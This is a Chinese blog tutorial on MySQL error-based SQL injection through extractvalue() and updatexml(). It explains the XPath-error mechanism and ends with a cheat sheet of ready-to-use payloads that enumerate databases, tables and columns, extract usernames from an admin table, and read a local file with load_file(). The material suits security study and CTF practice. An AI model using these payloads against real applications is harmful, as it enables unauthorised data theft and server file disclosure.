江鸟's Blog

sql报错注入:extractvalue、updatexml

字数统计: 591阅读时长: 2 min
2020/03/13 Share

sql报错注入:extractvalue、updatexml

extractvalue报错原理

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

名称 描述
ExtractValue() 使用XPath表示法从XML字符串中提取值
UpdateXML() 返回替换的XML片段

通过这两个函数可以完成报错注入

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue('', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

concat函数的作用是拼接。

image-20200313145738641

1
SELECT ExtractValue('<a><b><b/></a>',concat('~',(select database())));

updatexml报错原理

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

原理差不多 不再多做赘述

正常使用方法select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

同样使用concat函数进行拼接,最多只显示32位

1
select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);

image-20200313150622750

concat拼接语句

请自行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
爆数据库版本信息
SELECT @@version

链接用户
SELECT user()

链接数据库
SELECT database()

爆库名
select updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1);
或者
updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

爆表名
select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test'),0x7e),1);

updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

字段
updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

内容
updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x7e) FROM admin limit 0,1),0x7e),1)

本地文件
updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
CATALOG
  1. 1. sql报错注入:extractvalue、updatexml
    1. 1.1. extractvalue报错原理
    2. 1.2. updatexml报错原理
    3. 1.3. concat拼接语句